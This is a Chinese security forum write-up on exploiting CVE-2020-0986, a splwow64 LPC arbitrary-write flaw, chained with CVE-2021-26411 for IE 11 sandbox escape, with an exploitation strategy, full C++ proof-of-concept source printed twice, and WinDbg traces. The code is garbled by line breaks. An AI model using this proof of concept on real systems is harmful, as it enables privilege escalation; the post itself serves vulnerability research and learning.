-
-
[原创]利用CVE-2020-0986实现IE沙箱逃逸
-
发表于: 2021-7-5 17:29 12999
-
作者:Muoziiy@天玄安全实验室
原文链接:https://mp.weixin.qq.com/s/_hyjmkhD_RvKJdsXOt40uA
这篇文章描述如何利用CVE-2020-0986实现IE沙箱逃逸。
本文不会给出完整的利用代码,只分享一些漏洞利用思路。
2021年4月30日,安恒威胁情报中心发布了一篇《深入分析 CVE-2021-26411 IE浏览器UAF漏洞》,里面详细分析了该漏洞的原理和利用过程,文章最后提到 "这种IE漏洞在IE11环境中需要配合一个提权漏洞才能实现代码执行,目前还未见到对这个漏洞配套使用的提权漏洞的披露",所以本人以研究学习为目的,通过参考 @iamelli0t师傅在2020看雪SDC的演讲内容 《逃逸IE浏览器沙箱:在野0Day漏洞利用复现 》,复现了CVE-2020-0986的提权EXP,并配合CVE-2021-26411实现了IE 11沙箱逃逸。
CVE-2021-26411已经在安恒的文章中已经做了详细描述,这里就不在介绍。
CVE-2020-0986是用户模式下打印机驱动主进程splwow64.exe存在任意指针取消引用漏洞,该漏洞允许使用任意参数在splwow64.exe进程空间内调用Memcpy函数,这实际上是在splwow64.exe进程空间内实现了一个任意地址写的原语。因为splwow64.exe是IE提权策略的白名单进程,所以可以利用IE的代码执行启动splwow64.exe进程,并通过发送特定LPC消息来操纵splwow64.exe进程内存,实现在splwow64.exe进程中执行任意代码并逃逸IE 11沙箱。
本次分析用到的POC来自google project zero。
一个简单的LPC通信,有以下几个步骤:
在LPC通信过程中,如果报文较大,通信双方就会采用共享内存区的方式交换数据,但会通过报文进行协调同步。
LPC通信流程如下图所示(图片源自 @iamelli0t 师傅在看雪SDC的演讲PPT )
<img src="https://gitee.com/tianxuan-securitylab/source/raw/master/img/1623401452747.png" alt="1623401452747" style="zoom: 50%;" />
更多LPC相关内容,请自行查阅,本文不做详述。
目前已知的是通过NtRequestWaitReplyPort发送LPC消息到splwow64.exe进程后,由splwow64!TLPCMgr::ProcessRequest对LPC消息进行处理,所以对splwow64!TLPCMgr::ProcessRequest下断。
rdx=0000000000d7cac0 即为LpcRequest
IDA反汇编 TLPCMgr::ProcessRequest
windbg调试上图所示代码
上面的代码主要做了三件事,先判断LpcRequest.MessageHeader.DataSize是否为0x20,接着判断GDI32!GdiPrinterThunk函数指针是否存在,如果都存在,取LpcRequest.MsgSendLen的值0x88给EBX,然后调用splwow64!operator new 在splwow64.exe进程空间内分配了一块0x88大小的内存空间,接下来我们称这块空间为InputBuffer。
继续看IDA的反汇编代码
首先进行了复制操作,从LPC通信使用的共享内存复制数据到InPutBuffer中,然后取出LpcRequest.PtrMsgReply 的值给v9,接着取出LpcRequest.MsgReplyLen的值给v10,最后取出 LpcRequest.MessageHeader.MessageType的值给 v11。接下来判断v11、v12的值,这里对v11、v12值的判断结果会影响程序流程是否进入存在漏洞的函数。因为v11和v12的值都是从LpcRequest中得到的,所以我们可以通过控制LpcRequest,让程序按照我们预期的流程走,也就是进入gdi32!GdiPrinterThunk函数,在gdi32!GdiPrinterThunk中又调了gdi32full!GdiPrinterThunk函数。
windbg调试上面这块代码
rcx、rdx、r8、r9分别为memcpy_s的四个参数,rcx指向InputBuffer,rdx和r9为size。
r8指向用于LPC通信的共享内存
复制到InputBuffer的数据
接着给v9,v10,v11赋值
经过一系列的判断后,程序最终进入了gdi32full!GdiPrinterThunk,且传入的三个参数为:InputBuffer、PtrMsgReply和MsgReplyLen。
进入gdi32full!GdiPrinterThunk函数后,先获取索引值,因为不同的索引值,会被不同的函数处理。索引值为位于InputBuffer+0x4处的DWORD。
下面是我们期望进入的处理函数,可以看出,当Fun_Index为0x6D,就可以进入我们期望的代码块。
在进入触发漏洞的代码Memcpy前,还要经过4个if判断和一个Decode函数。
这4个if判断的值,都可以被我们直接或间接控制,所以程序最终会来到漏洞函数Memcpy,且三个参数:目的地址、源地址、大小都可以被我们控制,所以这里实现了一个在splwow64进程空间内的 Write What Where Primitive 。Decode函数的作用是对Encode的DocumentEvent指针进行解码,也就是对fpDocumentEvent指针进行解码,从而得到真实的函数指针。
通过上面对POC的分析,我们得到了如下信息。
参考卡巴斯基的分析文章,我们知道fpDocumentEvent函数指针是被编码过的值,且每一次编码得到的值都不同,这取决于当前的Cookie值。
在splwow64.exe中,每一次执行DocumentEvent时,都先将fpDocumentEvent进行解码,从而得到原始的DocumentEvent函数指针,然后再进行调用,而fpDocumentEvent位于splwow64.exe进程的.data 段,也就是说fpDocumentEvent指针的偏移是确定的。
同时我们知道一个事实, Windows 系统上的地址空间布局随机化是基于引导的 ,也就说当系统启动后,系统DLL的基址就不会改变,直到下次重启系统,所以在EXP中通过手动加载gdi32full.dll,就可以知道当前fpDocumentEvent指针的实际地址。
那么漏洞利用的思路就是,利用任意地址写的原语,将我们想要调用的函数指针,例如system函数指针,替换fpDocumentEvent函数指针,因为DocumentEvent函数在特定索引值的情况下,每次都会被调用,所以当我们替换成功后,实际调用的函数即为system。
漏洞利用简述步骤:
在调试环境下,确定fpDocumentEvent函数指针偏移,这里称为fpDocOffset。
在漏洞利用程序中,手动加载gdi32full.dll和winspool.drv,分别获得gdi32full.dll的BaseAddress和DocumentEvent函数指针。
发送LPC消息到splwow64.exe,获得BaseAddress+fpDocOffset地址处的fpDocumentEvent函数指针。
目前我们已经得到了fpDocumentEvent函数指针和DocumentEvent函数指针,也就是编码前后的函数指针,所以我们可以计算出编码所用的Cookie值,计算公式如下。(源自 @iamelli0t 师傅在看雪SDC的演讲PPT )
通过第四步得到的Cookie值,编码system函数指针,这里我们称编码后的值为fpSystem,编码公式如下。(源自卡巴斯基博客 )
继续发送LPC消息,通过共享内存,将fpSystem函数指针填充到BaseAddress+fpDocOffset地址处。
最后再发送一次特定索引值的LPC消息,同时在LPC消息中包含system函数的参数。
下面我们通过调试看看具体的流程
从splwow64.exe进程空间获取fpDocumentEvent函数指针到共享内存
将编码后fpSystem填充到BaseAddress+fpDocOffset地址处。
最后再发送一次LPC消息,同时在LPC消息中包含system函数的参数,实现漏洞利用
至此,我们已经完成的CVE-2020-0986的提权EXP编写。
参考 @iamelli0t师傅在看雪SDC的演讲,IE漏洞和提权漏洞结合流程如下:
如上图所示,CVE-2021-26411配合CVE-2020-0986实现了沙箱逃逸,拿到Medium Integrity权限的shell。
CVE-2021-26411的EXP中使用Windows RPC的方式绕过CFG,这种手法较为新颖,简单使用, @iamelli0t师傅在他的博客中也提到 “有理由相信,它将成为绕过 CFG 缓解的一种新的有效利用技术 ”。
CVE-2021-26411的EXP利用Windows RPC方式绕过CFG流程如下:
本人研究完 CVE-2021-26411的EXP后发现此EXP中使用的RPC手法是通用的,也就是说,在其他漏洞中只要能构造出任意地址读写原语,那一般都可以直接复用此RPC手法实现bypass CFG,一番研究后,本人在CVE-2020-17053上实现了此RPC手法bypass CFG,这里就不再展示。
[1] https://mp.weixin.qq.com/s?__biz=MzI1MDU5NjYwNg==&mid=2247489493&idx=1&sn=146720b9aa2c5d5b75679e1691cfe231&chksm=e9fe8a44de890352b91696cf57b30c8360f3ab2306ae2e779a5bd2325ef401d4aae5349efc93&scene=178&cur_album_id=1793105970730975235#rd
[2] https://zhuanlan.kanxue.com/article-14133.htm
[3] https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2020/CVE-2020-0986.html
[4] https://mp.weixin.qq.com/s?__biz=MzI1MDU5NjYwNg==&mid=2247489493&idx=1&sn=146720b9aa2c5d5b75679e1691cfe231&chksm=e9fe8a44de890352b91696cf57b30c8360f3ab2306ae2e779a5bd2325ef401d4aae5349efc93&scene=178&cur_album_id=1793105970730975235#rd
[5] https://securelist.com/operation-powerfall-cve-2020-0986-and-variants/98329/
[6] https://enki.co.kr/blog/2021/02/04/ie_0day.html
[7] https://iamelli0t.github.io/2021/04/10/RPC-Bypass-CFG.html
[8] https://byteraptors.github.io/windows/exploitation/2020/05/24/sandboxescape.html
#include <iostream>;
#include "windows.h";
#include "Shlwapi.h";
#include "winternl.h";
typedef struct _PORT_VIEW
{
UINT64 Length;
HANDLE SectionHandle;
UINT64 SectionOffset;
UINT64 ViewSize;
UCHAR
*
ViewBase;
UCHAR
*
ViewRemoteBase;
} PORT_VIEW,
*
PPORT_VIEW;
PORT_VIEW ClientView;
typedef struct _PORT_MESSAGE_HEADER {
USHORT DataSize;
USHORT MessageSize;
USHORT MessageType;
USHORT VirtualRangesOffset;
CLIENT_ID ClientId;
UINT64 MessageId;
UINT64 SectionSize;
} PORT_MESSAGE_HEADER,
*
PPORT_MESSAGE_HEADER;
typedef struct _PORT_MESSAGE {
PORT_MESSAGE_HEADER MessageHeader;
UINT64 MsgSendLen;
UINT64 PtrMsgSend;
UINT64 MsgReplyLen;
UINT64 PtrMsgReply;
UCHAR Unk4[
0x1F8
];
} PORT_MESSAGE,
*
PPORT_MESSAGE;
PORT_MESSAGE LpcRequest;
PORT_MESSAGE LpcReply;
NTSTATUS(NTAPI
*
NtOpenProcessToken)(
_In_ HANDLE ProcessHandle,
_In_ ACCESS_MASK DesiredAccess,
_Out_ PHANDLE TokenHandle
);
NTSTATUS(NTAPI
*
ZwQueryInformationToken)(
_In_ HANDLE TokenHandle,
_In_ TOKEN_INFORMATION_CLASS TokenInformationClass,
_Out_writes_bytes_to_opt_(TokenInformationLength,
*
ReturnLength) PVOID TokenInformation,
_In_ ULONG TokenInformationLength,
_Out_ PULONG ReturnLength
);
NTSTATUS(NTAPI
*
NtCreateSection)(
PHANDLE SectionHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
PLARGE_INTEGER MaximumSize,
ULONG SectionPageProtection,
ULONG AllocationAttributes,
HANDLE FileHandle
);
NTSTATUS(NTAPI
*
ZwSecureConnectPort)(
_Out_ PHANDLE PortHandle,
_In_ PUNICODE_STRING PortName,
_In_ PSECURITY_QUALITY_OF_SERVICE SecurityQos,
_Inout_opt_ PPORT_VIEW ClientView,
_In_opt_ PSID Sid,
_Inout_opt_ PVOID ServerView,
_Out_opt_ PULONG MaxMessageLength,
_Inout_opt_ PVOID ConnectionInformation,
_Inout_opt_ PULONG ConnectionInformationLength
);
NTSTATUS(NTAPI
*
NtRequestWaitReplyPort)(
IN HANDLE PortHandle,
IN PPORT_MESSAGE LpcRequest,
OUT PPORT_MESSAGE LpcReply
);
int
Init()
{
HMODULE ntdll
=
GetModuleHandleA(
"ntdll"
);
NtOpenProcessToken
=
(NTSTATUS(NTAPI
*
) (HANDLE, ACCESS_MASK, PHANDLE)) GetProcAddress(ntdll,
"NtOpenProcessToken"
);
if
(NtOpenProcessToken
=
=
NULL)
{
return
0
;
}
ZwQueryInformationToken
=
(NTSTATUS(NTAPI
*
) (HANDLE, TOKEN_INFORMATION_CLASS, PVOID, ULONG, PULONG)) GetProcAddress(ntdll,
"ZwQueryInformationToken"
);
if
(ZwQueryInformationToken
=
=
NULL)
{
return
0
;
}
NtCreateSection
=
(NTSTATUS(NTAPI
*
) (PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PLARGE_INTEGER, ULONG, ULONG, HANDLE)) GetProcAddress(ntdll,
"NtCreateSection"
);
if
(NtCreateSection
=
=
NULL)
{
return
0
;
}
ZwSecureConnectPort
=
(NTSTATUS(NTAPI
*
) (PHANDLE, PUNICODE_STRING, PSECURITY_QUALITY_OF_SERVICE, PPORT_VIEW, PSID, PVOID, PULONG, PVOID, PULONG)) GetProcAddress(ntdll,
"ZwSecureConnectPort"
);
if
(ZwSecureConnectPort
=
=
NULL)
{
return
0
;
}
NtRequestWaitReplyPort
=
(NTSTATUS(NTAPI
*
) (HANDLE, PPORT_MESSAGE, PPORT_MESSAGE)) GetProcAddress(ntdll,
"NtRequestWaitReplyPort"
);
if
(NtRequestWaitReplyPort
=
=
NULL)
{
return
0
;
}
return
1
;
}
int
GetPortName(PUNICODE_STRING DestinationString)
{
void
*
tokenHandle;
DWORD sessionId;
ULONG length;
int
tokenInformation[
16
];
WCHAR dst[
256
];
memset(tokenInformation,
0
, sizeof(tokenInformation));
ProcessIdToSessionId(GetCurrentProcessId(), &sessionId);
memset(dst,
0
, sizeof(dst));
if
(NtOpenProcessToken(GetCurrentProcess(),
0x20008u
, &tokenHandle)
|| ZwQueryInformationToken(tokenHandle, TokenStatistics, tokenInformation,
0x38u
, &length))
{
return
0
;
}
wsprintfW(
dst,
L
"\\RPC Control\\UmpdProxy_%x_%x_%x_%x"
,
sessionId,
tokenInformation[
2
],
tokenInformation[
3
],
0x2000
);
printf(
"name: %ls\n"
, dst);
RtlInitUnicodeString(DestinationString, dst);
return
1
;
}
HANDLE CreatePortSharedBuffer(PUNICODE_STRING PortName)
{
HANDLE sectionHandle
=
0
;
HANDLE portHandle
=
0
;
union _LARGE_INTEGER maximumSize;
maximumSize.QuadPart
=
0x20000
;
if
(
0
!
=
NtCreateSection(§ionHandle, SECTION_MAP_WRITE | SECTION_MAP_READ,
0
, &maximumSize, PAGE_READWRITE, SEC_COMMIT, NULL)) {
return
0
;
}
if
(sectionHandle)
{
ClientView.SectionHandle
=
sectionHandle;
ClientView.Length
=
0x30
;
ClientView.ViewSize
=
0x9000
;
int
retval
=
ZwSecureConnectPort(&portHandle, PortName, NULL, &ClientView, NULL, NULL, NULL, NULL, NULL);
if
(retval){
return
0
;
}
}
return
portHandle;
}
PVOID PrepareMessage()
{
memset(&LpcRequest,
0
, sizeof(LpcRequest));
LpcRequest.MessageHeader.DataSize
=
0x20
;
LpcRequest.MessageHeader.MessageSize
=
0x48
;
LpcRequest.MsgSendLen
=
0x88
;
LpcRequest.PtrMsgSend
=
(UINT64)ClientView.ViewRemoteBase;
LpcRequest.MsgReplyLen
=
0x10
;
LpcRequest.PtrMsgReply
=
(UINT64)ClientView.ViewRemoteBase
+
0x88
;
memcpy(&LpcReply, &LpcRequest, sizeof(LpcRequest));
*
(UINT64
*
)ClientView.ViewBase
=
0x6D00000000
;
/
/
Msg
Type
(Document Event)
*
((UINT64
*
)ClientView.ViewBase
+
3
)
=
(UINT64)ClientView.ViewRemoteBase
+
0x100
;
/
/
First arg to FindPrinterHandle
*
((UINT64
*
)ClientView.ViewBase
+
4
)
=
0x500000005
;
/
/
2nd
arg to FindPrinterHandle
*
((UINT64
*
)ClientView.ViewBase
+
7
)
=
0x2000000001
;
/
/
iEsc argument to DocumentEvent
*
((UINT64
*
)ClientView.ViewBase
+
0xA
)
=
(UINT64)ClientView.ViewRemoteBase
+
0x800
;
/
/
Buffer
out to DocumentEvent, pointer to pointer of src of memcpy
*
((UINT64
*
)ClientView.ViewBase
+
0xB
)
=
(UINT64)ClientView.ViewRemoteBase
+
0x840
;
/
/
Destination of memcpy
*
((UINT64
*
)ClientView.ViewBase
+
0x28
)
=
(UINT64)ClientView.ViewRemoteBase
+
0x160
;
*
((UINT64
*
)ClientView.ViewBase
+
0x2D
)
=
0x500000005
;
*
((UINT64
*
)ClientView.ViewBase
+
0x2E
)
=
(UINT64)ClientView.ViewRemoteBase
+
0x200
;
*
((UINT64
*
)ClientView.ViewBase
+
0x40
)
=
0x6767
;
*
((UINT64
*
)ClientView.ViewBase
+
0x100
)
=
(UINT64)ClientView.ViewRemoteBase
+
0x810
;
return
ClientView.ViewBase;
}
void DebugWrite()
{
printf(
"Copy from 0x%llX to 0x%llX (0x%llX bytes)\n"
,
*
((UINT64
*
)ClientView.ViewBase
+
0x100
),
*
((UINT64
*
)ClientView.ViewBase
+
0xB
),
*
((UINT64
*
)ClientView.ViewBase
+
0x10A
) >>
48
);
}
bool
WriteData(HANDLE portHandle, UINT64 offset, UCHAR
*
buf, UINT64 size)
{
*
((UINT64
*
)ClientView.ViewBase
+
0xB
)
=
offset;
*
((UINT64
*
)ClientView.ViewBase
+
0x10A
)
=
size <<
48
;
memcpy(ClientView.ViewBase
+
0x810
, buf, size);
DebugWrite();
return
NtRequestWaitReplyPort(portHandle, &LpcRequest, &LpcReply)
=
=
0
;
}
int
main()
{
Init();
CHAR Path[
0x100
];
GetCurrentDirectoryA(sizeof(Path), Path);
PathAppendA(Path,
"CreateDC.exe"
);
if
(!(PathFileExistsA(Path)))
{
return
0
;
}
WinExec(Path,
0
);
CreateDCW(L
"Microsoft XPS Document Writer"
, L
"Microsoft XPS Document Writer"
, NULL, NULL);
UNICODE_STRING portName;
if
(!GetPortName(&portName))
{
return
0
;
}
HANDLE portHandle
=
CreatePortSharedBuffer(&portName);
if
(!(portHandle && ClientView.ViewBase && ClientView.ViewRemoteBase))
{
return
0
;
}
PrepareMessage();
printf(
"Press [Enter] to continue . . ."
);
fflush(stdout);
getchar();
UINT64 value
=
0
;
if
(!WriteData(portHandle,
0x4141414141414141
, (UCHAR
*
)&value,
8
))
{
return
0
;
}
printf(
"Done\n"
);
return
0
;
}
#include <iostream>;
#include "windows.h";
#include "Shlwapi.h";
#include "winternl.h";
typedef struct _PORT_VIEW
{
UINT64 Length;
HANDLE SectionHandle;
UINT64 SectionOffset;
UINT64 ViewSize;
UCHAR
*
ViewBase;
UCHAR
*
ViewRemoteBase;
} PORT_VIEW,
*
PPORT_VIEW;
PORT_VIEW ClientView;
typedef struct _PORT_MESSAGE_HEADER {
USHORT DataSize;
USHORT MessageSize;
USHORT MessageType;
USHORT VirtualRangesOffset;
CLIENT_ID ClientId;
UINT64 MessageId;
UINT64 SectionSize;
} PORT_MESSAGE_HEADER,
*
PPORT_MESSAGE_HEADER;
typedef struct _PORT_MESSAGE {
PORT_MESSAGE_HEADER MessageHeader;
UINT64 MsgSendLen;
UINT64 PtrMsgSend;
UINT64 MsgReplyLen;
UINT64 PtrMsgReply;
UCHAR Unk4[
0x1F8
];
} PORT_MESSAGE,
*
PPORT_MESSAGE;
PORT_MESSAGE LpcRequest;
PORT_MESSAGE LpcReply;
NTSTATUS(NTAPI
*
NtOpenProcessToken)(
_In_ HANDLE ProcessHandle,
_In_ ACCESS_MASK DesiredAccess,
_Out_ PHANDLE TokenHandle
);
NTSTATUS(NTAPI
*
ZwQueryInformationToken)(
_In_ HANDLE TokenHandle,
_In_ TOKEN_INFORMATION_CLASS TokenInformationClass,
_Out_writes_bytes_to_opt_(TokenInformationLength,
*
ReturnLength) PVOID TokenInformation,
_In_ ULONG TokenInformationLength,
_Out_ PULONG ReturnLength
);
NTSTATUS(NTAPI
*
NtCreateSection)(
PHANDLE SectionHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
PLARGE_INTEGER MaximumSize,
ULONG SectionPageProtection,
ULONG AllocationAttributes,
HANDLE FileHandle
);
NTSTATUS(NTAPI
*
ZwSecureConnectPort)(
_Out_ PHANDLE PortHandle,
_In_ PUNICODE_STRING PortName,
_In_ PSECURITY_QUALITY_OF_SERVICE SecurityQos,
_Inout_opt_ PPORT_VIEW ClientView,
_In_opt_ PSID Sid,
_Inout_opt_ PVOID ServerView,
_Out_opt_ PULONG MaxMessageLength,
_Inout_opt_ PVOID ConnectionInformation,
_Inout_opt_ PULONG ConnectionInformationLength
);
NTSTATUS(NTAPI
*
NtRequestWaitReplyPort)(
IN HANDLE PortHandle,
IN PPORT_MESSAGE LpcRequest,
OUT PPORT_MESSAGE LpcReply
);
int
Init()
{
HMODULE ntdll
=
GetModuleHandleA(
"ntdll"
);
NtOpenProcessToken
=
(NTSTATUS(NTAPI
*
) (HANDLE, ACCESS_MASK, PHANDLE)) GetProcAddress(ntdll,
"NtOpenProcessToken"
);
if
(NtOpenProcessToken
=
=
NULL)
{
return
0
;
}
ZwQueryInformationToken
=
(NTSTATUS(NTAPI
*
) (HANDLE, TOKEN_INFORMATION_CLASS, PVOID, ULONG, PULONG)) GetProcAddress(ntdll,
"ZwQueryInformationToken"
);
if
(ZwQueryInformationToken
=
=
NULL)
{
return
0
;
}
NtCreateSection
=
(NTSTATUS(NTAPI
*
) (PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PLARGE_INTEGER, ULONG, ULONG, HANDLE)) GetProcAddress(ntdll,
"NtCreateSection"
);
if
(NtCreateSection
=
=
NULL)
{
return
0
;
}
ZwSecureConnectPort
=
(NTSTATUS(NTAPI
*
) (PHANDLE, PUNICODE_STRING, PSECURITY_QUALITY_OF_SERVICE, PPORT_VIEW, PSID, PVOID, PULONG, PVOID, PULONG)) GetProcAddress(ntdll,
"ZwSecureConnectPort"
);
if
(ZwSecureConnectPort
=
=
NULL)
{
return
0
;
}
NtRequestWaitReplyPort
=
(NTSTATUS(NTAPI
*
) (HANDLE, PPORT_MESSAGE, PPORT_MESSAGE)) GetProcAddress(ntdll,
"NtRequestWaitReplyPort"
);
if
(NtRequestWaitReplyPort
=
=
NULL)
{
return
0
;
}
return
1
;
}
int
GetPortName(PUNICODE_STRING DestinationString)
{
void
*
tokenHandle;
DWORD sessionId;
ULONG length;
int
tokenInformation[
16
];
WCHAR dst[
256
];
memset(tokenInformation,
0
, sizeof(tokenInformation));
ProcessIdToSessionId(GetCurrentProcessId(), &sessionId);
memset(dst,
0
, sizeof(dst));
if
(NtOpenProcessToken(GetCurrentProcess(),
0x20008u
, &tokenHandle)
|| ZwQueryInformationToken(tokenHandle, TokenStatistics, tokenInformation,
0x38u
, &length))
{
return
0
;
}
wsprintfW(
dst,
L
"\\RPC Control\\UmpdProxy_%x_%x_%x_%x"
,
sessionId,
tokenInformation[
2
],
tokenInformation[
3
],
0x2000
);
printf(
"name: %ls\n"
, dst);
RtlInitUnicodeString(DestinationString, dst);
return
1
;
}
HANDLE CreatePortSharedBuffer(PUNICODE_STRING PortName)
{
HANDLE sectionHandle
=
0
;
HANDLE portHandle
=
0
;
union _LARGE_INTEGER maximumSize;
maximumSize.QuadPart
=
0x20000
;
if
(
0
!
=
NtCreateSection(§ionHandle, SECTION_MAP_WRITE | SECTION_MAP_READ,
0
, &maximumSize, PAGE_READWRITE, SEC_COMMIT, NULL)) {
return
0
;
}
if
(sectionHandle)
{
ClientView.SectionHandle
=
sectionHandle;
ClientView.Length
=
0x30
;
ClientView.ViewSize
=
0x9000
;
int
retval
=
ZwSecureConnectPort(&portHandle, PortName, NULL, &ClientView, NULL, NULL, NULL, NULL, NULL);
if
(retval){
return
0
;
}
}
return
portHandle;
}
PVOID PrepareMessage()
{
memset(&LpcRequest,
0
, sizeof(LpcRequest));
LpcRequest.MessageHeader.DataSize
=
0x20
;
LpcRequest.MessageHeader.MessageSize
=
0x48
;
LpcRequest.MsgSendLen
=
0x88
;
LpcRequest.PtrMsgSend
=
(UINT64)ClientView.ViewRemoteBase;
LpcRequest.MsgReplyLen
=
0x10
;
LpcRequest.PtrMsgReply
=
(UINT64)ClientView.ViewRemoteBase
+
0x88
;
memcpy(&LpcReply, &LpcRequest, sizeof(LpcRequest));
*
(UINT64
*
)ClientView.ViewBase
=
0x6D00000000
;
/
/
Msg
Type
(Document Event)
*
((UINT64
*
)ClientView.ViewBase
+
3
)
=
(UINT64)ClientView.ViewRemoteBase
+
0x100
;
/
/
First arg to FindPrinterHandle
*
((UINT64
*
)ClientView.ViewBase
+
4
)
=
0x500000005
;
/
/
2nd
arg to FindPrinterHandle
*
((UINT64
*
)ClientView.ViewBase
+
7
)
=
0x2000000001
;
/
/
iEsc argument to DocumentEvent
*
((UINT64
*
)ClientView.ViewBase
+
0xA
)
=
(UINT64)ClientView.ViewRemoteBase
+
0x800
;
/
/
Buffer
out to DocumentEvent, pointer to pointer of src of memcpy
*
((UINT64
*
)ClientView.ViewBase
+
0xB
)
=
(UINT64)ClientView.ViewRemoteBase
+
0x840
;
/
/
Destination of memcpy
*
((UINT64
*
)ClientView.ViewBase
+
0x28
)
=
(UINT64)ClientView.ViewRemoteBase
+
0x160
;
*
((UINT64
*
)ClientView.ViewBase
+
0x2D
)
=
0x500000005
;
*
((UINT64
*
)ClientView.ViewBase
+
0x2E
)
=
(UINT64)ClientView.ViewRemoteBase
+
0x200
;
*
((UINT64
*
)ClientView.ViewBase
+
0x40
)
=
0x6767
;
*
((UINT64
*
)ClientView.ViewBase
+
0x100
)
=
(UINT64)ClientView.ViewRemoteBase
+
0x810
;
return
ClientView.ViewBase;
}
void DebugWrite()
{
printf(
"Copy from 0x%llX to 0x%llX (0x%llX bytes)\n"
,
*
((UINT64
*
)ClientView.ViewBase
+
0x100
),
*
((UINT64
*
)ClientView.ViewBase
+
0xB
),
*
((UINT64
*
)ClientView.ViewBase
+
0x10A
) >>
48
);
}
bool
WriteData(HANDLE portHandle, UINT64 offset, UCHAR
*
buf, UINT64 size)
{
*
((UINT64
*
)ClientView.ViewBase
+
0xB
)
=
offset;
*
((UINT64
*
)ClientView.ViewBase
+
0x10A
)
=
size <<
48
;
memcpy(ClientView.ViewBase
+
0x810
, buf, size);
DebugWrite();
return
NtRequestWaitReplyPort(portHandle, &LpcRequest, &LpcReply)
=
=
0
;
}
int
main()
{
Init();
CHAR Path[
0x100
];
GetCurrentDirectoryA(sizeof(Path), Path);
PathAppendA(Path,
"CreateDC.exe"
);
if
(!(PathFileExistsA(Path)))
{
return
0
;
}
WinExec(Path,
0
);
CreateDCW(L
"Microsoft XPS Document Writer"
, L
"Microsoft XPS Document Writer"
, NULL, NULL);
UNICODE_STRING portName;
if
(!GetPortName(&portName))
{
return
0
;
}
HANDLE portHandle
=
CreatePortSharedBuffer(&portName);
if
(!(portHandle && ClientView.ViewBase && ClientView.ViewRemoteBase))
{
return
0
;
}
PrepareMessage();
printf(
"Press [Enter] to continue . . ."
);
fflush(stdout);
getchar();
UINT64 value
=
0
;
if
(!WriteData(portHandle,
0x4141414141414141
, (UCHAR
*
)&value,
8
))
{
return
0
;
}
printf(
"Done\n"
);
return
0
;
}
0
:
009
> bu splwow64!TLPCMgr::ProcessRequest
0
:
009
> bu gdi32full!GdiPrinterThunk
0
:
009
> g
Breakpoint
0
hit
splwow64!TLPCMgr::ProcessRequest:
00007ff7
`
0bf176ac
48895c2418
mov qword ptr [rsp
+
18h
],rbx ss:
00000000
`
0279f3e0
=
0000000000d7ca90
0
:
007
> r
rax
=
0000000000000000
rbx
=
0000000000d7ca90
rcx
=
0000000000d756f0
rdx
=
0000000000d7cac0
rsi
=
0000000000d7cac0
rdi
=
0000000000d786a0
rip
=
00007ff70bf176ac
rsp
=
000000000279f3c8
rbp
=
0000000000b6a478
r8
=
000000000279f328
r9
=
0000000000b6a478
r10
=
0000000000000000
r11
=
0000000000000244
r12
=
000000007ffe03b0
r13
=
000000000000022c
r14
=
0000000000d78778
r15
=
0000000000000000
iopl
=
0
nv up ei pl zr na po nc
cs
=
0033
ss
=
002b
ds
=
002b
es
=
002b
fs
=
0053
gs
=
002b
efl
=
00000246
splwow64!TLPCMgr::ProcessRequest:
00007ff7
`
0bf176ac
48895c2418
mov qword ptr [rsp
+
18h
],rbx ss:
00000000
`
0279f3e0
=
0000000000d7ca90
0
:
009
> bu splwow64!TLPCMgr::ProcessRequest
0
:
009
> bu gdi32full!GdiPrinterThunk
0
:
009
> g
Breakpoint
0
hit
splwow64!TLPCMgr::ProcessRequest:
00007ff7
`
0bf176ac
48895c2418
mov qword ptr [rsp
+
18h
],rbx ss:
00000000
`
0279f3e0
=
0000000000d7ca90
0
:
007
> r
rax
=
0000000000000000
rbx
=
0000000000d7ca90
rcx
=
0000000000d756f0
rdx
=
0000000000d7cac0
rsi
=
0000000000d7cac0
rdi
=
0000000000d786a0
rip
=
00007ff70bf176ac
rsp
=
000000000279f3c8
rbp
=
0000000000b6a478
r8
=
000000000279f328
r9
=
0000000000b6a478
r10
=
0000000000000000
r11
=
0000000000000244
r12
=
000000007ffe03b0
r13
=
000000000000022c
r14
=
0000000000d78778
r15
=
0000000000000000
iopl
=
0
nv up ei pl zr na po nc
cs
=
0033
ss
=
002b
ds
=
002b
es
=
002b
fs
=
0053
gs
=
002b
efl
=
00000246
splwow64!TLPCMgr::ProcessRequest:
00007ff7
`
0bf176ac
48895c2418
mov qword ptr [rsp
+
18h
],rbx ss:
00000000
`
0279f3e0
=
0000000000d7ca90
0
:
007
>
splwow64!TLPCMgr::ProcessRequest
+
0x6e
:
00007ff7
`
0bf1771a
66833f20
cmp
word ptr [rdi],
20h
ds:
00000000
`
00d7cac0
=
0020
0
:
007
>
splwow64!TLPCMgr::ProcessRequest
+
0x72
:
00007ff7
`
0bf1771e
418bef
mov ebp,r15d
0
:
007
> p
splwow64!TLPCMgr::ProcessRequest
+
0x75
:
00007ff7
`
0bf17721
418bdf
mov ebx,r15d
0
:
007
>
splwow64!TLPCMgr::ProcessRequest
+
0x78
:
00007ff7
`
0bf17724
41be57000000
mov r14d,
57h
0
:
007
>
splwow64!TLPCMgr::ProcessRequest
+
0x7e
:
00007ff7
`
0bf1772a
7523
jne splwow64!TLPCMgr::ProcessRequest
+
0xa3
(
00007ff7
`
0bf1774f
) [br
=
0
]
0
:
007
>
splwow64!TLPCMgr::ProcessRequest
+
0x80
:
00007ff7
`
0bf1772c
4d397d48
cmp
qword ptr [r13
+
48h
],r15 ds:
00000000
`
00d75738
=
{GDI32!GdiPrinterThunk (
00007ffa
`c8e48eb0)}
/
/
判断GDI32!GdiPrinterThunk指针
0
:
007
>
splwow64!TLPCMgr::ProcessRequest
+
0x84
:
00007ff7
`
0bf17730
741d
je splwow64!TLPCMgr::ProcessRequest
+
0xa3
(
00007ff7
`
0bf1774f
) [br
=
0
]
0
:
007
> p
splwow64!TLPCMgr::ProcessRequest
+
0x86
:
00007ff7
`
0bf17732
8b5f28
mov ebx,dword ptr [rdi
+
28h
] ds:
00000000
`
00d7cae8
=
00000088
0
:
007
> p
splwow64!TLPCMgr::ProcessRequest
+
0x89
:
00007ff7
`
0bf17735
8d43f0
lea eax,[rbx
-
10h
]
0
:
007
> p
splwow64!TLPCMgr::ProcessRequest
+
0x8c
:
00007ff7
`
0bf17738
3defff0f00
cmp
eax,
